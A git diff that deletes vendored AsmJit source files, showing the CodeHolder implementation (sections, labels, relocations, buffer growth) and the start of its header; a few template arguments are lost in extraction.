- if (cb->isFixed()) - return DebugUtils::errored(kErrorTooLarge); - - size_t kInitialCapacity = 8096; - if (capacity < kInitialCapacity) - capacity = kInitialCapacity; - else - capacity += Globals::kAllocOverhead; - - do { - size_t old = capacity; - if (capacity < Globals::kGrowThreshold) - capacity *= 2; - else - capacity += Globals::kGrowThreshold; - - // Overflow. - if (ASMJIT_UNLIKELY(old > capacity)) - return DebugUtils::errored(kErrorOutOfMemory); - } while (capacity - Globals::kAllocOverhead < required); - - return CodeHolder_reserveInternal(this, cb, capacity - Globals::kAllocOverhead); -} - -Error CodeHolder::reserveBuffer(CodeBuffer* cb, size_t n) noexcept { - size_t capacity = cb->capacity(); - - if (n <= capacity) - return kErrorOk; - - if (cb->isFixed()) - return DebugUtils::errored(kErrorTooLarge); - - return CodeHolder_reserveInternal(this, cb, n); -} - -// ============================================================================ -// [asmjit::CodeHolder - Sections] -// ============================================================================ - -Error CodeHolder::newSection(Section** sectionOut, const char* name, size_t nameSize, uint32_t flags, uint32_t alignment, int32_t order) noexcept { - *sectionOut = nullptr; - - if (nameSize == SIZE_MAX) - nameSize = strlen(name); - - if (alignment == 0) - alignment = 1; - - if (ASMJIT_UNLIKELY(!Support::isPowerOf2(alignment))) - return DebugUtils::errored(kErrorInvalidArgument); - - if (ASMJIT_UNLIKELY(nameSize > Globals::kMaxSectionNameSize)) - return DebugUtils::errored(kErrorInvalidSectionName); - - uint32_t sectionId = _sections.size(); - if (ASMJIT_UNLIKELY(sectionId == Globals::kInvalidId)) - return DebugUtils::errored(kErrorTooManySections); - - ASMJIT_PROPAGATE(_sections.willGrow(&_allocator)); - ASMJIT_PROPAGATE(_sectionsByOrder.willGrow(&_allocator)); - - Section* section = _allocator.allocZeroedT
(); - if (ASMJIT_UNLIKELY(!section)) - return DebugUtils::errored(kErrorOutOfMemory); - - section->_id = sectionId; - section->_flags = flags; - section->_alignment = alignment; - section->_order = order; - memcpy(section->_name.str, name, nameSize); - - Section** insertPosition = std::lower_bound(_sectionsByOrder.begin(), _sectionsByOrder.end(), section, [](const Section* a, const Section* b) { - return std::make_tuple(a->order(), a->id()) < std::make_tuple(b->order(), b->id()); - }); - - _sections.appendUnsafe(section); - _sectionsByOrder.insertUnsafe((size_t)(insertPosition - _sectionsByOrder.data()), section); - - *sectionOut = section; - return kErrorOk; -} - -Section* CodeHolder::sectionByName(const char* name, size_t nameSize) const noexcept { - if (nameSize == SIZE_MAX) - nameSize = strlen(name); - - // This could be also put in a hash-table similarly like we do with labels, - // however it's questionable as the number of sections should be pretty low - // in general. Create an issue if this becomes a problem. - if (nameSize <= Globals::kMaxSectionNameSize) { - for (Section* section : _sections) - if (memcmp(section->_name.str, name, nameSize) == 0 && section->_name.str[nameSize] == '\0') - return section; - } - - return nullptr; -} - -Section* CodeHolder::ensureAddressTableSection() noexcept { - if (_addressTableSection) - return _addressTableSection; - - newSection(&_addressTableSection, CodeHolder_addrTabName, sizeof(CodeHolder_addrTabName) - 1, 0, _environment.registerSize(), std::numeric_limits::max()); - return _addressTableSection; -} - -Error CodeHolder::addAddressToAddressTable(uint64_t address) noexcept { - AddressTableEntry* entry = _addressTableEntries.get(address); - if (entry) - return kErrorOk; - - Section* section = ensureAddressTableSection(); - if (ASMJIT_UNLIKELY(!section)) - return DebugUtils::errored(kErrorOutOfMemory); - - entry = _zone.newT(address); - if (ASMJIT_UNLIKELY(!entry)) - return DebugUtils::errored(kErrorOutOfMemory); - - _addressTableEntries.insert(entry); - section->_virtualSize += _environment.registerSize(); - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::CodeHolder - Labels / Symbols] -// ============================================================================ - -//! Only used to lookup a label from `_namedLabels`. -class LabelByName { -public: - inline LabelByName(const char* key, size_t keySize, uint32_t hashCode, uint32_t parentId) noexcept - : _key(key), - _keySize(uint32_t(keySize)), - _hashCode(hashCode), - _parentId(parentId) {} - - inline uint32_t hashCode() const noexcept { return _hashCode; } - - inline bool matches(const LabelEntry* entry) const noexcept { - return entry->nameSize() == _keySize && - entry->parentId() == _parentId && - ::memcmp(entry->name(), _key, _keySize) == 0; - } - - const char* _key; - uint32_t _keySize; - uint32_t _hashCode; - uint32_t _parentId; -}; - -// Returns a hash of `name` and fixes `nameSize` if it's `SIZE_MAX`. -static uint32_t CodeHolder_hashNameAndGetSize(const char* name, size_t& nameSize) noexcept { - uint32_t hashCode = 0; - if (nameSize == SIZE_MAX) { - size_t i = 0; - for (;;) { - uint8_t c = uint8_t(name[i]); - if (!c) break; - hashCode = Support::hashRound(hashCode, c); - i++; - } - nameSize = i; - } - else { - for (size_t i = 0; i < nameSize; i++) { - uint8_t c = uint8_t(name[i]); - if (ASMJIT_UNLIKELY(!c)) return DebugUtils::errored(kErrorInvalidLabelName); - hashCode = Support::hashRound(hashCode, c); - } - } - return hashCode; -} - -LabelLink* CodeHolder::newLabelLink(LabelEntry* le, uint32_t sectionId, size_t offset, intptr_t rel, const OffsetFormat& format) noexcept { - LabelLink* link = _allocator.allocT(); - if (ASMJIT_UNLIKELY(!link)) return nullptr; - - link->next = le->_links; - le->_links = link; - - link->sectionId = sectionId; - link->relocId = Globals::kInvalidId; - link->offset = offset; - link->rel = rel; - link->format = format; - - _unresolvedLinkCount++; - return link; -} - -Error CodeHolder::newLabelEntry(LabelEntry** entryOut) noexcept { - *entryOut = nullptr; - - uint32_t labelId = _labelEntries.size(); - if (ASMJIT_UNLIKELY(labelId == Globals::kInvalidId)) - return DebugUtils::errored(kErrorTooManyLabels); - - ASMJIT_PROPAGATE(_labelEntries.willGrow(&_allocator)); - LabelEntry* le = _allocator.allocZeroedT(); - - if (ASMJIT_UNLIKELY(!le)) - return DebugUtils::errored(kErrorOutOfMemory); - - le->_setId(labelId); - le->_parentId = Globals::kInvalidId; - le->_offset = 0; - _labelEntries.appendUnsafe(le); - - *entryOut = le; - return kErrorOk; -} - -Error CodeHolder::newNamedLabelEntry(LabelEntry** entryOut, const char* name, size_t nameSize, uint32_t type, uint32_t parentId) noexcept { - *entryOut = nullptr; - uint32_t hashCode = CodeHolder_hashNameAndGetSize(name, nameSize); - - if (ASMJIT_UNLIKELY(nameSize == 0)) - return DebugUtils::errored(kErrorInvalidLabelName); - - if (ASMJIT_UNLIKELY(nameSize > Globals::kMaxLabelNameSize)) - return DebugUtils::errored(kErrorLabelNameTooLong); - - switch (type) { - case Label::kTypeLocal: - if (ASMJIT_UNLIKELY(parentId >= _labelEntries.size())) - return DebugUtils::errored(kErrorInvalidParentLabel); - - hashCode ^= parentId; - break; - - case Label::kTypeGlobal: - case Label::kTypeExternal: - if (ASMJIT_UNLIKELY(parentId != Globals::kInvalidId)) - return DebugUtils::errored(kErrorNonLocalLabelCannotHaveParent); - break; - - default: - return DebugUtils::errored(kErrorInvalidArgument); - } - - // Don't allow to insert duplicates. Local labels allow duplicates that have - // different id, this is already accomplished by having a different hashes - // between the same label names having different parent labels. - LabelEntry* le = _namedLabels.get(LabelByName(name, nameSize, hashCode, parentId)); - if (ASMJIT_UNLIKELY(le)) - return DebugUtils::errored(kErrorLabelAlreadyDefined); - - Error err = kErrorOk; - uint32_t labelId = _labelEntries.size(); - - if (ASMJIT_UNLIKELY(labelId == Globals::kInvalidId)) - return DebugUtils::errored(kErrorTooManyLabels); - - ASMJIT_PROPAGATE(_labelEntries.willGrow(&_allocator)); - le = _allocator.allocZeroedT(); - - if (ASMJIT_UNLIKELY(!le)) - return DebugUtils::errored(kErrorOutOfMemory); - - le->_hashCode = hashCode; - le->_setId(labelId); - le->_type = uint8_t(type); - le->_parentId = parentId; - le->_offset = 0; - ASMJIT_PROPAGATE(le->_name.setData(&_zone, name, nameSize)); - - _labelEntries.appendUnsafe(le); - _namedLabels.insert(allocator(), le); - - *entryOut = le; - return err; -} - -uint32_t CodeHolder::labelIdByName(const char* name, size_t nameSize, uint32_t parentId) noexcept { - uint32_t hashCode = CodeHolder_hashNameAndGetSize(name, nameSize); - if (ASMJIT_UNLIKELY(!nameSize)) - return 0; - - if (parentId != Globals::kInvalidId) - hashCode ^= parentId; - - LabelEntry* le = _namedLabels.get(LabelByName(name, nameSize, hashCode, parentId)); - return le ? le->id() : uint32_t(Globals::kInvalidId); -} - -ASMJIT_API Error CodeHolder::resolveUnresolvedLinks() noexcept { - if (!hasUnresolvedLinks()) - return kErrorOk; - - Error err = kErrorOk; - for (LabelEntry* le : labelEntries()) { - if (!le->isBound()) - continue; - - LabelLinkIterator link(le); - if (link) { - Support::FastUInt8 of = 0; - Section* toSection = le->section(); - uint64_t toOffset = Support::addOverflow(toSection->offset(), le->offset(), &of); - - do { - uint32_t linkSectionId = link->sectionId; - if (link->relocId == Globals::kInvalidId) { - Section* fromSection = sectionById(linkSectionId); - size_t linkOffset = link->offset; - - CodeBuffer& buf = _sections[linkSectionId]->buffer(); - ASMJIT_ASSERT(linkOffset < buf.size()); - - // Calculate the offset relative to the start of the virtual base. - Support::FastUInt8 localOF = of; - uint64_t fromOffset = Support::addOverflow(fromSection->offset(), linkOffset, &localOF); - int64_t displacement = int64_t(toOffset - fromOffset + uint64_t(int64_t(link->rel))); - - if (!localOF) { - ASMJIT_ASSERT(size_t(linkOffset) < buf.size()); - ASMJIT_ASSERT(buf.size() - size_t(linkOffset) >= link->format.valueSize()); - - // Overwrite a real displacement in the CodeBuffer. - if (CodeWriterUtils::writeOffset(buf._data + linkOffset, displacement, link->format)) { - link.resolveAndNext(this); - continue; - } - } - - err = DebugUtils::errored(kErrorInvalidDisplacement); - // Falls through to `link.next()`. - } - - link.next(); - } while (link); - } - } - - return err; -} - -ASMJIT_API Error CodeHolder::bindLabel(const Label& label, uint32_t toSectionId, uint64_t toOffset) noexcept { - LabelEntry* le = labelEntry(label); - if (ASMJIT_UNLIKELY(!le)) - return DebugUtils::errored(kErrorInvalidLabel); - - if (ASMJIT_UNLIKELY(toSectionId > _sections.size())) - return DebugUtils::errored(kErrorInvalidSection); - - // Label can be bound only once. - if (ASMJIT_UNLIKELY(le->isBound())) - return DebugUtils::errored(kErrorLabelAlreadyBound); - - // Bind the label. - Section* section = _sections[toSectionId]; - le->_section = section; - le->_offset = toOffset; - - Error err = kErrorOk; - CodeBuffer& buf = section->buffer(); - - // Fix all links to this label we have collected so far if they are within - // the same section. We ignore any inter-section links as these have to be - // fixed later. - LabelLinkIterator link(le); - while (link) { - uint32_t linkSectionId = link->sectionId; - size_t linkOffset = link->offset; - - uint32_t relocId = link->relocId; - if (relocId != Globals::kInvalidId) { - // Adjust relocation data only. - RelocEntry* re = _relocations[relocId]; - re->_payload += toOffset; - re->_targetSectionId = toSectionId; - } - else { - if (linkSectionId != toSectionId) { - link.next(); - continue; - } - - ASMJIT_ASSERT(linkOffset < buf.size()); - int64_t displacement = int64_t(toOffset - uint64_t(linkOffset) + uint64_t(int64_t(link->rel))); - - // Size of the value we are going to patch. Only BYTE/DWORD is allowed. - ASMJIT_ASSERT(buf.size() - size_t(linkOffset) >= link->format.regionSize()); - - // Overwrite a real displacement in the CodeBuffer. - if (!CodeWriterUtils::writeOffset(buf._data + linkOffset, displacement, link->format)) { - err = DebugUtils::errored(kErrorInvalidDisplacement); - link.next(); - continue; - } - } - - link.resolveAndNext(this); - } - - return err; -} - -// ============================================================================ -// [asmjit::BaseEmitter - Relocations] -// ============================================================================ - -Error CodeHolder::newRelocEntry(RelocEntry** dst, uint32_t relocType) noexcept { - ASMJIT_PROPAGATE(_relocations.willGrow(&_allocator)); - - uint32_t relocId = _relocations.size(); - if (ASMJIT_UNLIKELY(relocId == Globals::kInvalidId)) - return DebugUtils::errored(kErrorTooManyRelocations); - - RelocEntry* re = _allocator.allocZeroedT(); - if (ASMJIT_UNLIKELY(!re)) - return DebugUtils::errored(kErrorOutOfMemory); - - re->_id = relocId; - re->_relocType = uint8_t(relocType); - re->_sourceSectionId = Globals::kInvalidId; - re->_targetSectionId = Globals::kInvalidId; - _relocations.appendUnsafe(re); - - *dst = re; - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseEmitter - Expression Evaluation] -// ============================================================================ - -static Error CodeHolder_evaluateExpression(CodeHolder* self, Expression* exp, uint64_t* out) noexcept { - uint64_t value[2]; - for (size_t i = 0; i < 2; i++) { - uint64_t v; - switch (exp->valueType[i]) { - case Expression::kValueNone: { - v = 0; - break; - } - - case Expression::kValueConstant: { - v = exp->value[i].constant; - break; - } - - case Expression::kValueLabel: { - LabelEntry* le = exp->value[i].label; - if (!le->isBound()) - return DebugUtils::errored(kErrorExpressionLabelNotBound); - v = le->section()->offset() + le->offset(); - break; - } - - case Expression::kValueExpression: { - Expression* nested = exp->value[i].expression; - ASMJIT_PROPAGATE(CodeHolder_evaluateExpression(self, nested, &v)); - break; - } - - default: - return DebugUtils::errored(kErrorInvalidState); - } - - value[i] = v; - } - - uint64_t result; - uint64_t& a = value[0]; - uint64_t& b = value[1]; - - switch (exp->opType) { - case Expression::kOpAdd: - result = a + b; - break; - - case Expression::kOpSub: - result = a - b; - break; - - case Expression::kOpMul: - result = a * b; - break; - - case Expression::kOpSll: - result = (b > 63) ? uint64_t(0) : uint64_t(a << b); - break; - - case Expression::kOpSrl: - result = (b > 63) ? uint64_t(0) : uint64_t(a >> b); - break; - - case Expression::kOpSra: - result = Support::sar(a, Support::min(b, 63)); - break; - - default: - return DebugUtils::errored(kErrorInvalidState); - } - - *out = result; - return kErrorOk; -} - -// ============================================================================ -// [asmjit::BaseEmitter - Utilities] -// ============================================================================ - -Error CodeHolder::flatten() noexcept { - uint64_t offset = 0; - for (Section* section : _sectionsByOrder) { - uint64_t realSize = section->realSize(); - if (realSize) { - uint64_t alignedOffset = Support::alignUp(offset, section->alignment()); - if (ASMJIT_UNLIKELY(alignedOffset < offset)) - return DebugUtils::errored(kErrorTooLarge); - - Support::FastUInt8 of = 0; - offset = Support::addOverflow(alignedOffset, realSize, &of); - - if (ASMJIT_UNLIKELY(of)) - return DebugUtils::errored(kErrorTooLarge); - } - } - - // Now we know that we can assign offsets of all sections properly. - Section* prev = nullptr; - offset = 0; - for (Section* section : _sectionsByOrder) { - uint64_t realSize = section->realSize(); - if (realSize) - offset = Support::alignUp(offset, section->alignment()); - section->_offset = offset; - - // Make sure the previous section extends a bit to cover the alignment. - if (prev) - prev->_virtualSize = offset - prev->_offset; - - prev = section; - offset += realSize; - } - - return kErrorOk; -} - -size_t CodeHolder::codeSize() const noexcept { - Support::FastUInt8 of = 0; - uint64_t offset = 0; - - for (Section* section : _sectionsByOrder) { - uint64_t realSize = section->realSize(); - - if (realSize) { - uint64_t alignedOffset = Support::alignUp(offset, section->alignment()); - ASMJIT_ASSERT(alignedOffset >= offset); - offset = Support::addOverflow(alignedOffset, realSize, &of); - } - } - - if ((sizeof(uint64_t) > sizeof(size_t) && offset > SIZE_MAX) || of) - return SIZE_MAX; - - return size_t(offset); -} - -Error CodeHolder::relocateToBase(uint64_t baseAddress) noexcept { - // Base address must be provided. - if (ASMJIT_UNLIKELY(baseAddress == Globals::kNoBaseAddress)) - return DebugUtils::errored(kErrorInvalidArgument); - - _baseAddress = baseAddress; - uint32_t addressSize = _environment.registerSize(); - - Section* addressTableSection = _addressTableSection; - uint32_t addressTableEntryCount = 0; - uint8_t* addressTableEntryData = nullptr; - - if (addressTableSection) { - ASMJIT_PROPAGATE( - reserveBuffer(&addressTableSection->_buffer, size_t(addressTableSection->virtualSize()))); - addressTableEntryData = addressTableSection->_buffer.data(); - } - - // Relocate all recorded locations. - for (const RelocEntry* re : _relocations) { - // Possibly deleted or optimized-out entry. - if (re->relocType() == RelocEntry::kTypeNone) - continue; - - Section* sourceSection = sectionById(re->sourceSectionId()); - Section* targetSection = nullptr; - - if (re->targetSectionId() != Globals::kInvalidId) - targetSection = sectionById(re->targetSectionId()); - - uint64_t value = re->payload(); - uint64_t sectionOffset = sourceSection->offset(); - uint64_t sourceOffset = re->sourceOffset(); - - // Make sure that the `RelocEntry` doesn't go out of bounds. - size_t regionSize = re->format().regionSize(); - if (ASMJIT_UNLIKELY(re->sourceOffset() >= sourceSection->bufferSize() || - sourceSection->bufferSize() - size_t(re->sourceOffset()) < regionSize)) - return DebugUtils::errored(kErrorInvalidRelocEntry); - - uint8_t* buffer = sourceSection->data(); - size_t valueOffset = size_t(re->sourceOffset()) + re->format().valueOffset(); - - switch (re->relocType()) { - case RelocEntry::kTypeExpression: { - Expression* expression = (Expression*)(uintptr_t(value)); - ASMJIT_PROPAGATE(CodeHolder_evaluateExpression(this, expression, &value)); - break; - } - - case RelocEntry::kTypeAbsToAbs: { - break; - } - - case RelocEntry::kTypeRelToAbs: { - // Value is currently a relative offset from the start of its section. - // We have to convert it to an absolute offset (including base address). - if (ASMJIT_UNLIKELY(!targetSection)) - return DebugUtils::errored(kErrorInvalidRelocEntry); - - //value += baseAddress + sectionOffset + sourceOffset + regionSize; - value += baseAddress + targetSection->offset(); - break; - } - - case RelocEntry::kTypeAbsToRel: { - value -= baseAddress + sectionOffset + sourceOffset + regionSize; - if (addressSize > 4 && !Support::isInt32(int64_t(value))) - return DebugUtils::errored(kErrorRelocOffsetOutOfRange); - break; - } - - case RelocEntry::kTypeX64AddressEntry: { - if (re->format().valueSize() != 4 || valueOffset < 2) - return DebugUtils::errored(kErrorInvalidRelocEntry); - - // First try whether a relative 32-bit displacement would work. - value -= baseAddress + sectionOffset + sourceOffset + regionSize; - if (!Support::isInt32(int64_t(value))) { - // Relative 32-bit displacement is not possible, use '.addrtab' section. - AddressTableEntry* atEntry = _addressTableEntries.get(re->payload()); - if (ASMJIT_UNLIKELY(!atEntry)) - return DebugUtils::errored(kErrorInvalidRelocEntry); - - // Cannot be null as we have just matched the `AddressTableEntry`. - ASMJIT_ASSERT(addressTableSection != nullptr); - - if (!atEntry->hasAssignedSlot()) - atEntry->_slot = addressTableEntryCount++; - - size_t atEntryIndex = size_t(atEntry->slot()) * addressSize; - uint64_t addrSrc = sectionOffset + sourceOffset + regionSize; - uint64_t addrDst = addressTableSection->offset() + uint64_t(atEntryIndex); - - value = addrDst - addrSrc; - if (!Support::isInt32(int64_t(value))) - return DebugUtils::errored(kErrorRelocOffsetOutOfRange); - - // Bytes that replace [REX, OPCODE] bytes. - uint32_t byte0 = 0xFF; - uint32_t byte1 = buffer[valueOffset - 1]; - - if (byte1 == 0xE8) { - // Patch CALL/MOD byte to FF /2 (-> 0x15). - byte1 = x86EncodeMod(0, 2, 5); - } - else if (byte1 == 0xE9) { - // Patch JMP/MOD byte to FF /4 (-> 0x25). - byte1 = x86EncodeMod(0, 4, 5); - } - else { - return DebugUtils::errored(kErrorInvalidRelocEntry); - } - - // Patch `jmp/call` instruction. - buffer[valueOffset - 2] = uint8_t(byte0); - buffer[valueOffset - 1] = uint8_t(byte1); - - Support::writeU64uLE(addressTableEntryData + atEntryIndex, re->payload()); - } - break; - } - - default: - return DebugUtils::errored(kErrorInvalidRelocEntry); - } - - switch (re->format().valueSize()) { - case 1: - Support::writeU8(buffer + valueOffset, uint32_t(value & 0xFFu)); - break; - - case 2: - Support::writeU16uLE(buffer + valueOffset, uint32_t(value & 0xFFFFu)); - break; - - case 4: - Support::writeU32uLE(buffer + valueOffset, uint32_t(value & 0xFFFFFFFFu)); - break; - - case 8: - Support::writeU64uLE(buffer + valueOffset, value); - break; - - default: - return DebugUtils::errored(kErrorInvalidRelocEntry); - } - } - - // Fixup the virtual size of the address table if it's the last section. - if (_sectionsByOrder.last() == addressTableSection) { - size_t addressTableSize = addressTableEntryCount * addressSize; - addressTableSection->_buffer._size = addressTableSize; - addressTableSection->_virtualSize = addressTableSize; - } - - return kErrorOk; -} - -Error CodeHolder::copySectionData(void* dst, size_t dstSize, uint32_t sectionId, uint32_t copyOptions) noexcept { - if (ASMJIT_UNLIKELY(!isSectionValid(sectionId))) - return DebugUtils::errored(kErrorInvalidSection); - - Section* section = sectionById(sectionId); - size_t bufferSize = section->bufferSize(); - - if (ASMJIT_UNLIKELY(dstSize < bufferSize)) - return DebugUtils::errored(kErrorInvalidArgument); - - memcpy(dst, section->data(), bufferSize); - - if (bufferSize < dstSize && (copyOptions & kCopyPadSectionBuffer)) { - size_t paddingSize = dstSize - bufferSize; - memset(static_cast(dst) + bufferSize, 0, paddingSize); - } - - return kErrorOk; -} - -Error CodeHolder::copyFlattenedData(void* dst, size_t dstSize, uint32_t copyOptions) noexcept { - size_t end = 0; - for (Section* section : _sectionsByOrder) { - if (section->offset() > dstSize) - return DebugUtils::errored(kErrorInvalidArgument); - - size_t bufferSize = section->bufferSize(); - size_t offset = size_t(section->offset()); - - if (ASMJIT_UNLIKELY(dstSize - offset < bufferSize)) - return DebugUtils::errored(kErrorInvalidArgument); - - uint8_t* dstTarget = static_cast(dst) + offset; - size_t paddingSize = 0; - memcpy(dstTarget, section->data(), bufferSize); - - if ((copyOptions & kCopyPadSectionBuffer) && bufferSize < section->virtualSize()) { - paddingSize = Support::min(dstSize - offset, size_t(section->virtualSize())) - bufferSize; - memset(dstTarget + bufferSize, 0, paddingSize); - } - - end = Support::max(end, offset + bufferSize + paddingSize); - } - - if (end < dstSize && (copyOptions & kCopyPadTargetBuffer)) { - memset(static_cast(dst) + end, 0, dstSize - end); - } - - return kErrorOk; -} - -// ============================================================================ -// [asmjit::CodeHolder - Unit] -// ============================================================================ - -#if defined(ASMJIT_TEST) -UNIT(code_holder) { - CodeHolder code; - - INFO("Verifying CodeHolder::init()"); - Environment env; - env.init(Environment::kArchX86); - - code.init(env); - EXPECT(code.arch() == Environment::kArchX86); - - INFO("Verifying named labels"); - LabelEntry* le; - EXPECT(code.newNamedLabelEntry(&le, "NamedLabel", SIZE_MAX, Label::kTypeGlobal) == kErrorOk); - EXPECT(strcmp(le->name(), "NamedLabel") == 0); - EXPECT(code.labelIdByName("NamedLabel") == le->id()); - - INFO("Verifying section ordering"); - Section* section1; - EXPECT(code.newSection(§ion1, "high-priority", SIZE_MAX, 0, 1, -1) == kErrorOk); - EXPECT(code.sections()[1] == section1); - EXPECT(code.sectionsByOrder()[0] == section1); - - Section* section0; - EXPECT(code.newSection(§ion0, "higher-priority", SIZE_MAX, 0, 1, -2) == kErrorOk); - EXPECT(code.sections()[2] == section0); - EXPECT(code.sectionsByOrder()[0] == section0); - EXPECT(code.sectionsByOrder()[1] == section1); - - Section* section3; - EXPECT(code.newSection(§ion3, "low-priority", SIZE_MAX, 0, 1, 2) == kErrorOk); - EXPECT(code.sections()[3] == section3); - EXPECT(code.sectionsByOrder()[3] == section3); - -} -#endif - -ASMJIT_END_NAMESPACE diff --git a/src/Theodosius/asmjit/core/codeholder.h b/src/Theodosius/asmjit/core/codeholder.h deleted file mode 100644 index 06bf3f9..0000000 --- a/src/Theodosius/asmjit/core/codeholder.h +++ /dev/null @@ -1,1061 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_CODEHOLDER_H_INCLUDED -#define ASMJIT_CORE_CODEHOLDER_H_INCLUDED - -#include "../core/archtraits.h" -#include "../core/codebuffer.h" -#include "../core/datatypes.h" -#include "../core/errorhandler.h" -#include "../core/operand.h" -#include "../core/string.h" -#include "../core/support.h" -#include "../core/target.h" -#include "../core/zone.h" -#include "../core/zonehash.h" -#include "../core/zonestring.h" -#include "../core/zonetree.h" -#include "../core/zonevector.h" - -ASMJIT_BEGIN_NAMESPACE - -//! \addtogroup asmjit_core -//! \{ - -// ============================================================================ -// [Forward Declarations] -// ============================================================================ - -class BaseEmitter; -class CodeHolder; -class LabelEntry; -class Logger; - -// ============================================================================ -// [asmjit::AlignMode] -// ============================================================================ - -//! Align mode. -enum AlignMode : uint32_t { - //! Align executable code. - kAlignCode = 0, - //! Align non-executable code. - kAlignData = 1, - //! Align by a sequence of zeros. - kAlignZero = 2, - //! Count of alignment modes. - kAlignCount = 3 -}; - -// ============================================================================ -// [asmjit::Expression] -// ============================================================================ - -//! Expression node that can reference constants, labels, and another expressions. -struct Expression { - //! Operation type. - enum OpType : uint8_t { - //! Addition. - kOpAdd = 0, - //! Subtraction. - kOpSub = 1, - //! Multiplication - kOpMul = 2, - //! Logical left shift. - kOpSll = 3, - //! Logical right shift. - kOpSrl = 4, - //! Arithmetic right shift. - kOpSra = 5 - }; - - //! Type of \ref Value. - enum ValueType : uint8_t { - //! No value or invalid. - kValueNone = 0, - //! Value is 64-bit unsigned integer (constant). - kValueConstant = 1, - //! Value is \ref LabelEntry, which references a \ref Label. - kValueLabel = 2, - //! Value is \ref Expression - kValueExpression = 3 - }; - - //! Expression value. - union Value { - //! Constant. - uint64_t constant; - //! Pointer to another expression. - Expression* expression; - //! Poitner to \ref LabelEntry. - LabelEntry* label; - }; - - //! Operation type. - uint8_t opType; - //! Value types of \ref value. - uint8_t valueType[2]; - //! Reserved for future use, should be initialized to zero. - uint8_t reserved[5]; - //! Expression left and right values. - Value value[2]; - - //! Resets the whole expression. - //! - //! Changes both values to \ref kValueNone. - inline void reset() noexcept { memset(this, 0, sizeof(*this)); } - - //! Sets the value type at `index` to \ref kValueConstant and its content to `constant`. - inline void setValueAsConstant(size_t index, uint64_t constant) noexcept { - valueType[index] = kValueConstant; - value[index].constant = constant; - } - - //! Sets the value type at `index` to \ref kValueLabel and its content to `labelEntry`. - inline void setValueAsLabel(size_t index, LabelEntry* labelEntry) noexcept { - valueType[index] = kValueLabel; - value[index].label = labelEntry; - } - - //! Sets the value type at `index` to \ref kValueExpression and its content to `expression`. - inline void setValueAsExpression(size_t index, Expression* expression) noexcept { - valueType[index] = kValueLabel; - value[index].expression = expression; - } -}; - -// ============================================================================ -// [asmjit::Section] -// ============================================================================ - -//! Section entry. -class Section { -public: - //! Section id. - uint32_t _id; - //! Section flags. - uint32_t _flags; - //! Section alignment requirements (0 if no requirements). - uint32_t _alignment; - //! Order (lower value means higher priority). - int32_t _order; - //! Offset of this section from base-address. - uint64_t _offset; - //! Virtual size of the section (zero initialized sections). - uint64_t _virtualSize; - //! Section name (max 35 characters, PE allows max 8). - FixedString _name; - //! Code or data buffer. - CodeBuffer _buffer; - - //! Section flags. - enum Flags : uint32_t { - //! Executable (.text sections). - kFlagExec = 0x00000001u, - //! Read-only (.text and .data sections). - kFlagConst = 0x00000002u, - //! Zero initialized by the loader (BSS). - kFlagZero = 0x00000004u, - //! Info / comment flag. - kFlagInfo = 0x00000008u, - //! Section created implicitly and can be deleted by \ref Target. - kFlagImplicit = 0x80000000u - }; - - //! \name Accessors - //! \{ - - //! Returns the section id. - inline uint32_t id() const noexcept { return _id; } - //! Returns the section name, as a null terminated string. - inline const char* name() const noexcept { return _name.str; } - - //! Returns the section data. - inline uint8_t* data() noexcept { return _buffer.data(); } - //! \overload - inline const uint8_t* data() const noexcept { return _buffer.data(); } - - //! Returns the section flags, see \ref Flags. - inline uint32_t flags() const noexcept { return _flags; } - //! Tests whether the section has the given `flag`. - inline bool hasFlag(uint32_t flag) const noexcept { return (_flags & flag) != 0; } - //! Adds `flags` to the section flags. - inline void addFlags(uint32_t flags) noexcept { _flags |= flags; } - //! Removes `flags` from the section flags. - inline void clearFlags(uint32_t flags) noexcept { _flags &= ~flags; } - - //! Returns the minimum section alignment - inline uint32_t alignment() const noexcept { return _alignment; } - //! Sets the minimum section alignment - inline void setAlignment(uint32_t alignment) noexcept { _alignment = alignment; } - - //! Returns the section order, which has a higher priority than section id. - inline int32_t order() const noexcept { return _order; } - - //! Returns the section offset, relative to base. - inline uint64_t offset() const noexcept { return _offset; } - //! Set the section offset. - inline void setOffset(uint64_t offset) noexcept { _offset = offset; } - - //! Returns the virtual size of the section. - //! - //! Virtual size is initially zero and is never changed by AsmJit. It's normal - //! if virtual size is smaller than size returned by `bufferSize()` as the buffer - //! stores real data emitted by assemblers or appended by users. - //! - //! Use `realSize()` to get the real and final size of this section. - inline uint64_t virtualSize() const noexcept { return _virtualSize; } - //! Sets the virtual size of the section. - inline void setVirtualSize(uint64_t virtualSize) noexcept { _virtualSize = virtualSize; } - - //! Returns the buffer size of the section. - inline size_t bufferSize() const noexcept { return _buffer.size(); } - //! Returns the real size of the section calculated from virtual and buffer sizes. - inline uint64_t realSize() const noexcept { return Support::max(virtualSize(), bufferSize()); } - - //! Returns the `CodeBuffer` used by this section. - inline CodeBuffer& buffer() noexcept { return _buffer; } - //! Returns the `CodeBuffer` used by this section (const). - inline const CodeBuffer& buffer() const noexcept { return _buffer; } - - //! \} -}; - -// ============================================================================ -// [asmjit::OffsetFormat] -// ============================================================================ - -//! Provides information about formatting offsets, absolute addresses, or their -//! parts. Offset format is used by both \ref RelocEntry and \ref LabelLink. -//! -//! The illustration above describes the relation of region size and offset size. -//! Region size is the size of the whole unit whereas offset size is the size of -//! the unit that will be patched. -//! -//! ``` -//! +-> Code buffer | The subject of the relocation (region) | -//! | | (Word-Offset) (Word-Size) | -//! |xxxxxxxxxxxxxxx|................|*PATCHED*|................|xxxxxxxxxxxx-> -//! | | -//! [Word Offset points here]----+ +--- [WordOffset + WordSize] -//! ``` -//! -//! Once the offset word has been located it can be patched like this: -//! -//! ``` -//! |ImmDiscardLSB (discard LSB bits). -//! |.. -//! 